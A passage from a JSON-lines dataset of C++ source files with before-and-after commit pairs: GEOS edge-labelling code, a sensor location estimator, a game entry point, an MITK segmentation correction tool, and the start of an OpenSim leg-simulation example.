Geometry\n\tpropagateSideLabels(0);\n\tpropagateSideLabels(1);\n\n\t\/**\n\t* If there are edges that still have null labels for a geometry\n\t* this must be because there are no area edges for that geometry incident on this node.\n\t* In this case, to label the edge for that geometry we must test whether the\n\t* edge is in the interior of the geometry.\n\t* To do this it suffices to determine whether the node for the edge is in the interior of an area.\n\t* If so, the edge has location INTERIOR for the geometry.\n\t* In all other cases (e.g. the node is on a line, on a point, or not on the geometry at all) the edge\n\t* has the location EXTERIOR for the geometry.\n\t*

\n\t* Note that the edge cannot be on the BOUNDARY of the geometry, since then\n\t* there would have been a parallel edge from the Geometry at this node also labelled BOUNDARY\n\t* and this edge would have been labelled in the previous step.\n\t*

\n\t* This code causes a problem when dimensional collapses are present, since it may try and\n\t* determine the location of a node where a dimensional collapse has occurred.\n\t* The point should be considered to be on the EXTERIOR\n\t* of the polygon, but locate() will return INTERIOR, since it is passed\n\t* the original Geometry, not the collapsed version.\n\t*\n\t* If there are incident edges which are Line edges labelled BOUNDARY,\n\t* then they must be edges resulting from dimensional collapses.\n\t* In this case the other edges can be labelled EXTERIOR for this Geometry.\n\t*\n\t* MD 8\/11\/01 - NOT TRUE! The collapsed edges may in fact be in the interior of the Geometry,\n\t* which means the other edges should be labelled INTERIOR for this Geometry.\n\t* Not sure how solve this... Possibly labelling needs to be split into several phases:\n\t* area label propagation, symLabel merging, then finally null label resolution.\n\t*\/\n\tbool hasDimensionalCollapseEdge[2]={false,false};\n vector::iterator it;\n\tfor (it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\tLabel *label=e->getLabel();\n\t\tfor(int geomi=0; geomi<2; geomi++) {\n\t\t\tif (label->isLine(geomi) && label->getLocation(geomi)==Location::BOUNDARY)\n\t\t\t\thasDimensionalCollapseEdge[geomi]=true;\n\t\t}\n\t}\n\tfor (it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\tLabel *label=e->getLabel();\n\t\tfor(int geomi=0;geomi<2;geomi++){\n\t\t\tif (label->isAnyNull(geomi)) {\n\t\t\t\tint loc=Location::UNDEF;\n\t\t\t\tif (hasDimensionalCollapseEdge[geomi]){\n\t\t\t\t\tloc=Location::EXTERIOR;\n\t\t\t\t}else {\n\t\t\t\t\tCoordinate p(e->getCoordinate());\n\t\t\t\t\tloc=getLocation(geomi,p,geom);\n\t\t\t\t}\n\t\t\t\tlabel->setAllLocationsIfNull(geomi,loc);\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid EdgeEndStar::computeEdgeEndLabels(){\n\t\/\/ Compute edge label for each EdgeEnd\n\tfor (vector::iterator it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\te->computeLabel();\n\t}\n}\n\nint EdgeEndStar::getLocation(int geomIndex,Coordinate p,vector *geom){\n\t\/\/ compute location only on demand\n\tif (ptInAreaLocation[geomIndex]==Location::UNDEF) {\n\/\/\t\tptInAreaLocation[geomIndex]=SimplePointInAreaLocator::locate(p,(geom->at(geomIndex))->getGeometry());\n ptInAreaLocation[geomIndex]=SimplePointInAreaLocator::locate(p,(*geom)[geomIndex]->getGeometry());\n\t}\n\treturn ptInAreaLocation[geomIndex];\n}\n\nbool EdgeEndStar::isAreaLabelsConsistent(){\n\tcomputeEdgeEndLabels();\n\treturn checkAreaLabelsConsistent(0);\n}\n\nbool EdgeEndStar::checkAreaLabelsConsistent(int geomIndex){\n\t\/\/ Since edges are stored in CCW order around the node,\n\t\/\/ As we move around the ring we move from the right to the left side of the edge\n\tvector *edges=getEdges();\n\t\/\/ if no edges, trivially consistent\n\tif (edges->size()<=0)\n\t\treturn true;\n\t\/\/ initialize startLoc to location of last L side (if any)\n\tint lastEdgeIndex=(int)edges->size()-1;\n\tLabel *startLabel=((*edgeList)[lastEdgeIndex])->getLabel();\n\tint startLoc=startLabel->getLocation(geomIndex,Position::LEFT);\n\tAssert::isTrue(startLoc!=Location::UNDEF, \"Found unlabelled area edge\");\n\tint currLoc=startLoc;\n\tfor (vector::iterator it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\tLabel *eLabel=e->getLabel();\n\t\t\/\/ we assume that we are only checking a area\n\t\tAssert::isTrue(eLabel->isArea(geomIndex), \"Found non-area edge\");\n\t\tint leftLoc=eLabel->getLocation(geomIndex,Position::LEFT);\n\t\tint rightLoc=eLabel->getLocation(geomIndex,Position::RIGHT);\n\t\t\/\/ check that edge is really a boundary between inside and outside!\n\t\tif (leftLoc==rightLoc) {\n\t\t\treturn false;\n\t\t}\n\t\t\/\/ check side location conflict\n\t\t\/\/Assert.isTrue(rightLoc == currLoc, \"side location conflict \" + locStr);\n\t\tif (rightLoc!=currLoc) {\n\t\t\treturn false;\n\t\t}\n\t\tcurrLoc=leftLoc;\n\t}\n\treturn true;\n}\n\nvoid EdgeEndStar::propagateSideLabels(int geomIndex){\n\t\/\/ Since edges are stored in CCW order around the node,\n\t\/\/ As we move around the ring we move from the right to the left side of the edge\n\tint startLoc=Location::UNDEF ;\n\t\/\/ initialize loc to location of last L side (if any)\n vector::iterator it;\n\tfor (it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\tLabel *label=e->getLabel();\n\t\tif (label->isArea(geomIndex) && label->getLocation(geomIndex,Position::LEFT)!=Location::UNDEF)\n\t\t\tstartLoc=label->getLocation(geomIndex,Position::LEFT);\n\t}\n\t\t\/\/ no labelled sides found, so no labels to propagate\n\tif (startLoc==Location::UNDEF) return;\n\tint currLoc=startLoc;\n\tfor (it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\tLabel *label=e->getLabel();\n\t\t\/\/ set null ON values to be in current location\n\t\tif (label->getLocation(geomIndex,Position::ON)==Location::UNDEF)\n\t\t\tlabel->setLocation(geomIndex,Position::ON,currLoc);\n\t\t\/\/ set side labels (if any)\n\t\t\/\/ if (label.isArea()) { \/\/ORIGINAL\n\t\tif (label->isArea(geomIndex)) {\n\t\t\tint leftLoc=label->getLocation(geomIndex,Position::LEFT);\n\t\t\tint rightLoc=label->getLocation(geomIndex,Position::RIGHT);\n\t\t\t\/\/ if there is a right location, that is the next location to propagate\n\t\t\tif (rightLoc!=Location::UNDEF) {\n\t\t\t\tstring locStr=\"(at \" + (e->getCoordinate()).toString() + \")\";\n\t\t\t\t\/\/Debug.print(rightLoc != currLoc, this);\n\t\t\t\tAssert::isTrue(rightLoc==currLoc, \"side location conflict \" + locStr);\n\t\t\t\tAssert::isTrue(leftLoc!=Location::UNDEF, \"found single null side \" + locStr);\n\t\t\t\tcurrLoc=leftLoc;\n\t\t\t} else {\n\t\t\t\t\/** RHS is null - LHS must be null too.\n\t\t\t\t * This must be an edge from the other geometry, which has no location\n\t\t\t\t * labelling for this geometry. This edge must lie wholly inside or outside\n\t\t\t\t * the other geometry (which is determined by the current location).\n\t\t\t\t * Assign both sides to be the current location.\n\t\t\t\t *\/\n\t\t\t\tAssert::isTrue(label->getLocation(geomIndex,Position::LEFT)==Location::UNDEF, \"found single null side\");\n\t\t\t\tlabel->setLocation(geomIndex,Position::RIGHT, currLoc);\n\t\t\t\tlabel->setLocation(geomIndex,Position::LEFT, currLoc);\n\t\t\t}\n\t\t}\n\t}\n}\n\nint EdgeEndStar::findIndex(EdgeEnd *eSearch){\n\tgetIterator(); \/\/ force edgelist to be computed\n\tfor (unsigned int i=0; isize(); i++ ) {\n\t\tEdgeEnd *e=(*edgeList)[i];\n\t\tif (e->compareTo(*eSearch)) return i;\n\t}\n\treturn -1;\n}\n\nstring EdgeEndStar::print(){\n\tstring out=\"EdgeEndStar: \" + getCoordinate().toString()+\"\\n\";\n\tfor (vector::iterator it=getIterator();itend();it++) {\n\t\tEdgeEnd *e=*it;\n\t\tout+=e->print();\n\t}\n\treturn out;\n}\n<|endoftext|>"} {"text":"#include \"estimator\/atmospheric_location_estimator.hpp\"\n\n#include \"protocol\/messages.hpp\"\n\n#include \"unit_config.hpp\"\n\nAtmosphericLocationEstimator::AtmosphericLocationEstimator(Communicator& communicator)\n : locationMessageStream(communicator, 5) {\n}\n\nLocationEstimate AtmosphericLocationEstimator::update(const SensorMeasurements& meas) {\n makeEstimate(meas);\n updateStream();\n\n return loc;\n}\n\nLocationEstimate AtmosphericLocationEstimator::makeEstimate(const SensorMeasurements& meas) {\n if(meas.gps) {\n loc.lat = (*meas.gps).lat;\n loc.lon = (*meas.gps).lat;\n }\n\n if(meas.bar) {\n \/\/ TODO: Mix GPS and barometer readings to get an accuration altitude?\n \/\/ TODO: Pressure != altitude.\n loc.alt = (*meas.bar).pressure;\n }\n\n return loc;\n}\n\nvoid AtmosphericLocationEstimator::updateStream() {\n if(locationMessageStream.ready()) {\n protocol::message::location_message_t m {\n .lat = loc.lat,\n .lon = loc.lon,\n .alt = loc.alt\n };\n\n locationMessageStream.publish(m);\n }\n}\nInitialize location.#include \"estimator\/atmospheric_location_estimator.hpp\"\n\n#include \"protocol\/messages.hpp\"\n\n#include \"unit_config.hpp\"\n\n\/\/ TODO: Initial location is not valid. Maybe we should be able to mark the\n\/\/ estimate as invalid until a GPS fix is found?\nAtmosphericLocationEstimator::AtmosphericLocationEstimator(Communicator& communicator)\n : loc{0.0, 0.0, 0.0}\n locationMessageStream(communicator, 5) {\n}\n\nLocationEstimate AtmosphericLocationEstimator::update(const SensorMeasurements& meas) {\n makeEstimate(meas);\n updateStream();\n\n return loc;\n}\n\nLocationEstimate AtmosphericLocationEstimator::makeEstimate(const SensorMeasurements& meas) {\n if(meas.gps) {\n loc.lat = (*meas.gps).lat;\n loc.lon = (*meas.gps).lat;\n }\n\n if(meas.bar) {\n \/\/ TODO: Mix GPS and barometer readings to get an accuration altitude?\n \/\/ TODO: Pressure != altitude.\n loc.alt = (*meas.bar).pressure;\n }\n\n return loc;\n}\n\nvoid AtmosphericLocationEstimator::updateStream() {\n if(locationMessageStream.ready()) {\n protocol::message::location_message_t m {\n .lat = loc.lat,\n .lon = loc.lon,\n .alt = loc.alt\n };\n\n locationMessageStream.publish(m);\n }\n}\n<|endoftext|>"} {"text":"\n\/\/#include \n\/\/#include \n#include \"Actions\/Action.h\"\n#include \"Actions\/ActionPump.h\"\n#include \"Application\/Application.h\"\n#include \"Common\/Common.h\"\n#include \"Input\/Input.h\"\n#include \"Networking\/Network.h\"\n#include \"Graphics\/Graphics.h\"\n\n#include \n#include \n#include \n#include \nusing namespace std;\n\nint main(int argc, char **argv)\n{\n \/*Network* x = Network::instance();\n x->connect(\"127.0.0.1\");\n\n \/\/ This is necessary to have the networking branch off on its own thread.\n asio::thread t(boost::bind(&asio::io_service::run, &Network::service()));\n\n Action a;\n a[\"id\"] = 4;\n a[\"target\"] = 300;\n Network::instance()->send(a, UNKNOWN);\n\n t.join();\n *\/\n \/\/Example app;\n Application app2;\n try {\n \/\/app.go();\n app2.go();\n } \n catch( Ogre::Exception& e ) {\n std::cerr << \"An exception has occured: \" << e.getFullDescription().c_str() << std::endl;\n }\n\n \n \n return 0;\n}\nUncomments main application in main.cpp\n\/\/#include \n\/\/#include \n#include \"Actions\/Action.h\"\n#include \"Actions\/ActionPump.h\"\n#include \"Application\/Application.h\"\n#include \"Common\/Common.h\"\n#include \"Input\/Input.h\"\n#include \"Networking\/Network.h\"\n#include \"Graphics\/Graphics.h\"\n\n#include \n#include \n#include \n#include \n\n\n\n#include \n\n\nusing namespace std;\n\nint main(int argc, char **argv)\n{\n btBroadphaseInterface* broadphase = new btDbvtBroadphase();\n\n\n \/*Network* x = Network::instance();\n x->connect(\"127.0.0.1\");\n\n \/\/ This is necessary to have the networking branch off on its own thread.\n asio::thread t(boost::bind(&asio::io_service::run, &Network::service()));\n\n Action a;\n a[\"id\"] = 4;\n a[\"target\"] = 300;\n Network::instance()->send(a, UNKNOWN);\n\n t.join();*\/\n \n \/\/Example app;\n Application app2;\n try {\n \/\/app.go();\n app2.go();\n } \n catch( Ogre::Exception& e ) {\n std::cerr << \"An exception has occured: \" << e.getFullDescription().c_str() << std::endl;\n }\n\n \n return 0;\n}\n<|endoftext|>"} {"text":"\/*============================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center (DKFZ)\nAll rights reserved.\n\nUse of this source code is governed by a 3-clause BSD license that can be\nfound in the LICENSE file.\n\n============================================================================*\/\n\n#include \"mitkCorrectorTool2D.h\"\n#include \"mitkCorrectorAlgorithm.h\"\n\n#include \"mitkAbstractTransformGeometry.h\"\n#include \"mitkBaseRenderer.h\"\n#include \"mitkImageReadAccessor.h\"\n#include \"mitkLabelSetImage.h\"\n#include \"mitkRenderingManager.h\"\n#include \"mitkToolManager.h\"\n\n#include \"mitkCorrectorTool2D.xpm\"\n#include \"mitkLabelSetImage.h\"\n\n\/\/ us\n#include \n#include \n#include \n#include \n\nnamespace mitk\n{\n MITK_TOOL_MACRO(MITKSEGMENTATION_EXPORT, CorrectorTool2D, \"Correction tool\");\n}\n\nmitk::CorrectorTool2D::CorrectorTool2D(int paintingPixelValue)\n : FeedbackContourTool(\"PressMoveRelease\"), m_PaintingPixelValue(paintingPixelValue)\n{\n GetFeedbackContour()->SetClosed(false); \/\/ don't close the contour to a polygon\n}\n\nmitk::CorrectorTool2D::~CorrectorTool2D()\n{\n}\n\nvoid mitk::CorrectorTool2D::ConnectActionsAndFunctions()\n{\n CONNECT_FUNCTION(\"PrimaryButtonPressed\", OnMousePressed);\n CONNECT_FUNCTION(\"Move\", OnMouseMoved);\n CONNECT_FUNCTION(\"Release\", OnMouseReleased);\n}\n\nconst char **mitk::CorrectorTool2D::GetXPM() const\n{\n return mitkCorrectorTool2D_xpm;\n}\n\nus::ModuleResource mitk::CorrectorTool2D::GetIconResource() const\n{\n us::Module *module = us::GetModuleContext()->GetModule();\n us::ModuleResource resource = module->GetResource(\"Correction_48x48.png\");\n return resource;\n}\n\nus::ModuleResource mitk::CorrectorTool2D::GetCursorIconResource() const\n{\n us::Module *module = us::GetModuleContext()->GetModule();\n us::ModuleResource resource = module->GetResource(\"Correction_Cursor_32x32.png\");\n return resource;\n}\n\nconst char *mitk::CorrectorTool2D::GetName() const\n{\n return \"Correction\";\n}\n\nvoid mitk::CorrectorTool2D::Activated()\n{\n Superclass::Activated();\n}\n\nvoid mitk::CorrectorTool2D::Deactivated()\n{\n Superclass::Deactivated();\n}\n\nvoid mitk::CorrectorTool2D::OnMousePressed(StateMachineAction *, InteractionEvent *interactionEvent)\n{\n auto *positionEvent = dynamic_cast(interactionEvent);\n if (!positionEvent)\n return;\n\n m_LastEventSender = positionEvent->GetSender();\n m_LastEventSlice = m_LastEventSender->GetSlice();\n\n int timestep = positionEvent->GetSender()->GetTimeStep();\n ContourModel *contour = FeedbackContourTool::GetFeedbackContour();\n contour->Initialize();\n contour->Expand(timestep + 1);\n contour->SetClosed(false, timestep);\n mitk::Point3D point = positionEvent->GetPositionInWorld();\n contour->AddVertex(point, timestep);\n\n FeedbackContourTool::SetFeedbackContourVisible(true);\n}\n\nvoid mitk::CorrectorTool2D::OnMouseMoved(StateMachineAction *, InteractionEvent *interactionEvent)\n{\n auto *positionEvent = dynamic_cast(interactionEvent);\n if (!positionEvent)\n return;\n\n int timestep = positionEvent->GetSender()->GetTimeStep();\n ContourModel *contour = FeedbackContourTool::GetFeedbackContour();\n mitk::Point3D point = positionEvent->GetPositionInWorld();\n contour->AddVertex(point, timestep);\n\n assert(positionEvent->GetSender()->GetRenderWindow());\n mitk::RenderingManager::GetInstance()->RequestUpdate(positionEvent->GetSender()->GetRenderWindow());\n}\n\nvoid mitk::CorrectorTool2D::OnMouseReleased(StateMachineAction *, InteractionEvent *interactionEvent)\n{\n \/\/ 1. Hide the feedback contour, find out which slice the user clicked, find out which slice of the toolmanager's\n \/\/ working image corresponds to that\n FeedbackContourTool::SetFeedbackContourVisible(false);\n\n auto *positionEvent = dynamic_cast(interactionEvent);\n \/\/ const PositionEvent* positionEvent = dynamic_cast(stateEvent->GetEvent());\n if (!positionEvent)\n return;\n\n assert(positionEvent->GetSender()->GetRenderWindow());\n mitk::RenderingManager::GetInstance()->RequestUpdate(positionEvent->GetSender()->GetRenderWindow());\n\n DataNode *workingNode(m_ToolManager->GetWorkingData(0));\n if (!workingNode)\n return;\n\n auto *image = dynamic_cast(workingNode->GetData());\n const PlaneGeometry *planeGeometry((positionEvent->GetSender()->GetCurrentWorldPlaneGeometry()));\n if (!image || !planeGeometry)\n return;\n\n const auto *abstractTransformGeometry(\n dynamic_cast(positionEvent->GetSender()->GetCurrentWorldPlaneGeometry()));\n if (!image || abstractTransformGeometry)\n return;\n\n \/\/ 2. Slice is known, now we try to get it as a 2D image and project the contour into index coordinates of this slice\n m_WorkingSlice = FeedbackContourTool::GetAffectedImageSliceAs2DImage(positionEvent, image);\n\n if (m_WorkingSlice.IsNull())\n {\n MITK_ERROR << \"Unable to extract slice.\" << std::endl;\n return;\n }\n\n int timestep = positionEvent->GetSender()->GetTimeStep();\n mitk::ContourModel::Pointer singleTimestepContour = mitk::ContourModel::New();\n\n auto it = FeedbackContourTool::GetFeedbackContour()->Begin(timestep);\n auto end = FeedbackContourTool::GetFeedbackContour()->End(timestep);\n\n while (it != end)\n {\n singleTimestepContour->AddVertex((*it)->Coordinates);\n it++;\n }\n\n CorrectorAlgorithm::Pointer algorithm = CorrectorAlgorithm::New();\n algorithm->SetInput(m_WorkingSlice);\n algorithm->SetContour(singleTimestepContour);\n\n mitk::LabelSetImage::Pointer labelSetImage = dynamic_cast(workingNode->GetData());\n int workingColorId(1);\n if (labelSetImage.IsNotNull())\n {\n workingColorId = labelSetImage->GetActiveLabel()->GetValue();\n algorithm->SetFillColor(workingColorId);\n }\n try\n {\n algorithm->UpdateLargestPossibleRegion();\n }\n catch (std::exception &e)\n {\n MITK_ERROR << \"Caught exception '\" << e.what() << \"'\" << std::endl;\n }\n\n mitk::Image::Pointer resultSlice = mitk::Image::New();\n resultSlice->Initialize(algorithm->GetOutput());\n\n if (labelSetImage.IsNotNull())\n {\n mitk::Image::Pointer erg1 = FeedbackContourTool::GetAffectedImageSliceAs2DImage(positionEvent, image);\n SegTool2D::WritePreviewOnWorkingImage(erg1, algorithm->GetOutput(), image, workingColorId, 0);\n SegTool2D::WriteBackSegmentationResult(positionEvent, erg1);\n }\n else\n {\n mitk::ImageReadAccessor imAccess(algorithm->GetOutput());\n resultSlice->SetVolume(imAccess.GetData());\n this->WriteBackSegmentationResult(positionEvent, resultSlice);\n }\n}\nFix T28076 by using the new function for retrieving the active pixel value\/*============================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center (DKFZ)\nAll rights reserved.\n\nUse of this source code is governed by a 3-clause BSD license that can be\nfound in the LICENSE file.\n\n============================================================================*\/\n\n#include \"mitkCorrectorTool2D.h\"\n#include \"mitkCorrectorAlgorithm.h\"\n\n#include \"mitkAbstractTransformGeometry.h\"\n#include \"mitkBaseRenderer.h\"\n#include \"mitkImageReadAccessor.h\"\n#include \"mitkLabelSetImage.h\"\n#include \"mitkRenderingManager.h\"\n#include \"mitkToolManager.h\"\n\n#include \"mitkCorrectorTool2D.xpm\"\n#include \"mitkLabelSetImage.h\"\n\n\/\/ us\n#include \n#include \n#include \n#include \n\nnamespace mitk\n{\n MITK_TOOL_MACRO(MITKSEGMENTATION_EXPORT, CorrectorTool2D, \"Correction tool\");\n}\n\nmitk::CorrectorTool2D::CorrectorTool2D(int paintingPixelValue)\n : FeedbackContourTool(\"PressMoveRelease\"), m_PaintingPixelValue(paintingPixelValue)\n{\n GetFeedbackContour()->SetClosed(false); \/\/ don't close the contour to a polygon\n}\n\nmitk::CorrectorTool2D::~CorrectorTool2D()\n{\n}\n\nvoid mitk::CorrectorTool2D::ConnectActionsAndFunctions()\n{\n CONNECT_FUNCTION(\"PrimaryButtonPressed\", OnMousePressed);\n CONNECT_FUNCTION(\"Move\", OnMouseMoved);\n CONNECT_FUNCTION(\"Release\", OnMouseReleased);\n}\n\nconst char **mitk::CorrectorTool2D::GetXPM() const\n{\n return mitkCorrectorTool2D_xpm;\n}\n\nus::ModuleResource mitk::CorrectorTool2D::GetIconResource() const\n{\n us::Module *module = us::GetModuleContext()->GetModule();\n us::ModuleResource resource = module->GetResource(\"Correction_48x48.png\");\n return resource;\n}\n\nus::ModuleResource mitk::CorrectorTool2D::GetCursorIconResource() const\n{\n us::Module *module = us::GetModuleContext()->GetModule();\n us::ModuleResource resource = module->GetResource(\"Correction_Cursor_32x32.png\");\n return resource;\n}\n\nconst char *mitk::CorrectorTool2D::GetName() const\n{\n return \"Correction\";\n}\n\nvoid mitk::CorrectorTool2D::Activated()\n{\n Superclass::Activated();\n}\n\nvoid mitk::CorrectorTool2D::Deactivated()\n{\n Superclass::Deactivated();\n}\n\nvoid mitk::CorrectorTool2D::OnMousePressed(StateMachineAction *, InteractionEvent *interactionEvent)\n{\n auto *positionEvent = dynamic_cast(interactionEvent);\n if (!positionEvent)\n return;\n\n m_LastEventSender = positionEvent->GetSender();\n m_LastEventSlice = m_LastEventSender->GetSlice();\n\n int timestep = positionEvent->GetSender()->GetTimeStep();\n ContourModel *contour = FeedbackContourTool::GetFeedbackContour();\n contour->Initialize();\n contour->Expand(timestep + 1);\n contour->SetClosed(false, timestep);\n mitk::Point3D point = positionEvent->GetPositionInWorld();\n contour->AddVertex(point, timestep);\n\n FeedbackContourTool::SetFeedbackContourVisible(true);\n}\n\nvoid mitk::CorrectorTool2D::OnMouseMoved(StateMachineAction *, InteractionEvent *interactionEvent)\n{\n auto *positionEvent = dynamic_cast(interactionEvent);\n if (!positionEvent)\n return;\n\n int timestep = positionEvent->GetSender()->GetTimeStep();\n ContourModel *contour = FeedbackContourTool::GetFeedbackContour();\n mitk::Point3D point = positionEvent->GetPositionInWorld();\n contour->AddVertex(point, timestep);\n\n assert(positionEvent->GetSender()->GetRenderWindow());\n mitk::RenderingManager::GetInstance()->RequestUpdate(positionEvent->GetSender()->GetRenderWindow());\n}\n\nvoid mitk::CorrectorTool2D::OnMouseReleased(StateMachineAction *, InteractionEvent *interactionEvent)\n{\n \/\/ 1. Hide the feedback contour, find out which slice the user clicked, find out which slice of the toolmanager's\n \/\/ working image corresponds to that\n FeedbackContourTool::SetFeedbackContourVisible(false);\n\n auto *positionEvent = dynamic_cast(interactionEvent);\n \/\/ const PositionEvent* positionEvent = dynamic_cast(stateEvent->GetEvent());\n if (!positionEvent)\n return;\n\n assert(positionEvent->GetSender()->GetRenderWindow());\n mitk::RenderingManager::GetInstance()->RequestUpdate(positionEvent->GetSender()->GetRenderWindow());\n\n DataNode *workingNode(m_ToolManager->GetWorkingData(0));\n if (!workingNode)\n return;\n\n auto *workingImage = dynamic_cast(workingNode->GetData());\n const PlaneGeometry *planeGeometry((positionEvent->GetSender()->GetCurrentWorldPlaneGeometry()));\n if (!workingImage || !planeGeometry)\n return;\n\n const auto *abstractTransformGeometry(\n dynamic_cast(positionEvent->GetSender()->GetCurrentWorldPlaneGeometry()));\n if (!workingImage || abstractTransformGeometry)\n return;\n\n \/\/ 2. Slice is known, now we try to get it as a 2D image and project the contour into index coordinates of this slice\n m_WorkingSlice = FeedbackContourTool::GetAffectedImageSliceAs2DImage(positionEvent, workingImage);\n\n if (m_WorkingSlice.IsNull())\n {\n MITK_ERROR << \"Unable to extract slice.\" << std::endl;\n return;\n }\n\n int timestep = positionEvent->GetSender()->GetTimeStep();\n mitk::ContourModel::Pointer singleTimestepContour = mitk::ContourModel::New();\n\n auto it = FeedbackContourTool::GetFeedbackContour()->Begin(timestep);\n auto end = FeedbackContourTool::GetFeedbackContour()->End(timestep);\n\n while (it != end)\n {\n singleTimestepContour->AddVertex((*it)->Coordinates);\n it++;\n }\n\n CorrectorAlgorithm::Pointer algorithm = CorrectorAlgorithm::New();\n algorithm->SetInput(m_WorkingSlice);\n algorithm->SetContour(singleTimestepContour);\n\n int activePixelValue = ContourModelUtils::GetActivePixelValue(workingImage);\n algorithm->SetFillColor(activePixelValue);\n\n try\n {\n algorithm->UpdateLargestPossibleRegion();\n }\n catch (std::exception &e)\n {\n MITK_ERROR << \"Caught exception '\" << e.what() << \"'\" << std::endl;\n }\n\n mitk::Image::Pointer resultSlice = mitk::Image::New();\n resultSlice->Initialize(algorithm->GetOutput());\n\n auto* labelSetImage = dynamic_cast(workingImage);\n if (nullptr != labelSetImage)\n {\n mitk::Image::Pointer erg1 = FeedbackContourTool::GetAffectedImageSliceAs2DImage(positionEvent, workingImage);\n SegTool2D::WritePreviewOnWorkingImage(erg1, algorithm->GetOutput(), workingImage, activePixelValue, 0);\n SegTool2D::WriteBackSegmentationResult(positionEvent, erg1);\n }\n else\n {\n mitk::ImageReadAccessor imAccess(algorithm->GetOutput());\n resultSlice->SetVolume(imAccess.GetData());\n this->WriteBackSegmentationResult(positionEvent, resultSlice);\n }\n}\n<|endoftext|>"} {"text":"\/* -------------------------------------------------------------------------- *\n * OpenSim: toyLeg_example.cpp *\n * -------------------------------------------------------------------------- *\n * The OpenSim API is a toolkit for musculoskeletal modeling and simulation. *\n * See http:\/\/opensim.stanford.edu and the NOTICE file for more information. *\n * OpenSim is developed at Stanford University and supported by the US *\n * National Institutes of Health (U54 GM072970, R24 HD065690) and by DARPA *\n * through the Warrior Web program. *\n * *\n * Copyright (c) 2005-2012 Stanford University and the Authors *\n * Author(s): Matt S. DeMers *\n * *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may *\n * not use this file except in compliance with the License. You may obtain a *\n * copy of the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0. *\n * *\n * Unless required by applicable law or agreed to in writing, software *\n * distributed under the License is distributed on an \"AS IS\" BASIS, *\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *\n * See the License for the specific language governing permissions and *\n * limitations under the License. *\n * -------------------------------------------------------------------------- *\/\n\n\/* \n * Below is an example of an OpenSim application that provides its own \n * main() routine. This application acts as an example for utilizing the \n * ControllabeSpring actuator.\n *\/\n\n\/\/ Author: Matt DeMers\n\n\/\/==============================================================================\n\/\/==============================================================================\n#include \"PistonActuator.h\"\n#include \"ControllableSpring.h\"\n#include \n#include \"OpenSim\/Common\/STOFileAdapter.h\"\n\nusing namespace OpenSim;\nusing namespace SimTK;\n\n\/\/______________________________________________________________________________\n\/**\n * Run a simulation of block sliding with contact on by two muscles sliding with contact \n *\/\nint main()\n{\n\n try {\n \/\/ Create a new OpenSim model\n Model osimModel;\n osimModel.setName(\"osimModel\");\n osimModel.setAuthors(\"Matt DeMers\");\n\n double Pi = SimTK::Pi;\n \n \/\/ Get the ground body\n Ground& ground = osimModel.updGround();\n ground.attachMeshGeometry(\"checkered_floor.vtp\");\n\n \/\/ create linkage body\n double linkageMass = 0.001, linkageLength = 0.5, linkageDiameter = 0.06;\n \n Vec3 linkageDimensions(linkageDiameter, linkageLength, linkageDiameter);\n Vec3 linkageMassCenter(0,linkageLength\/2,0);\n Inertia linkageInertia = Inertia::cylinderAlongY(linkageDiameter\/2.0, linkageLength\/2.0);\n\n OpenSim::Body* linkage1 = new OpenSim::Body(\"linkage1\", linkageMass, linkageMassCenter, linkageMass*linkageInertia);\n \n \/\/ Graphical representation\n Cylinder cyl;\n cyl.set_scale_factors(linkageDimensions);\n Frame* cyl1Frame = new PhysicalOffsetFrame(*linkage1, Transform(Vec3(0.0, linkageLength \/ 2.0, 0.0)));\n cyl1Frame->setName(\"Cyl1_frame\");\n osimModel.addFrame(cyl1Frame);\n cyl.setFrameName(\"Cyl1_frame\");\n linkage1->addGeometry(cyl);\n\n linkage1->attachGeometry(Sphere(0.1));\n \n \/\/ Create a second linkage body\n OpenSim::Body* linkage2 = new OpenSim::Body(*linkage1);\n linkage2->setName(\"linkage2\");\n Frame* cyl2Frame = new PhysicalOffsetFrame(*linkage2, Transform(Vec3(0.0, linkageLength \/ 2.0, 0.0)));\n cyl2Frame->setName(\"Cyl2_frame\");\n osimModel.addFrame(cyl2Frame);\n (linkage2->upd_geometry(0)).setFrameName(\"Cyl2_frame\");\n \/\/ Create a block to be the pelvis\n double blockMass = 20.0, blockSideLength = 0.2;\n Vec3 blockMassCenter(0);\n Inertia blockInertia = blockMass*Inertia::brick(blockSideLength, blockSideLength, blockSideLength);\n OpenSim::Body *block = new OpenSim::Body(\"block\", blockMass, blockMassCenter, blockInertia);\n block->attachGeometry(Brick(SimTK::Vec3(0.05, 0.05, 0.05)));\n\n \/\/ Create 1 degree-of-freedom pin joints between the bodies to create a kinematic chain from ground through the block\n Vec3 orientationInGround(0), locationInGround(0), locationInParent(0.0, linkageLength, 0.0), orientationInChild(0), locationInChild(0);\n\n PinJoint *ankle = new PinJoint(\"ankle\", ground, locationInGround, orientationInGround, *linkage1, \n locationInChild, orientationInChild);\n\n PinJoint *knee = new PinJoint(\"knee\", *linkage1, locationInParent, orientationInChild, *linkage2,\n locationInChild, orientationInChild);\n\n PinJoint *hip = new PinJoint(\"hip\", *linkage2, locationInParent, orientationInChild, *block,\n locationInChild, orientationInChild);\n \n double range[2] = {-SimTK::Pi*2, SimTK::Pi*2};\n CoordinateSet& ankleCoordinateSet = ankle->upd_CoordinateSet();\n ankleCoordinateSet[0].setName(\"q1\");\n ankleCoordinateSet[0].setRange(range);\n\n CoordinateSet& kneeCoordinateSet = knee->upd_CoordinateSet();\n kneeCoordinateSet[0].setName(\"q2\");\n kneeCoordinateSet[0].setRange(range);\n\n CoordinateSet& hipCoordinateSet = hip->upd_CoordinateSet();\n hipCoordinateSet[0].setName(\"q3\");\n hipCoordinateSet[0].setRange(range);\n\n \/\/ Add the bodies to the model\n osimModel.addBody(linkage1);\n osimModel.addBody(linkage2);\n osimModel.addBody(block);\n\n \/\/ Add the joints to the model\n 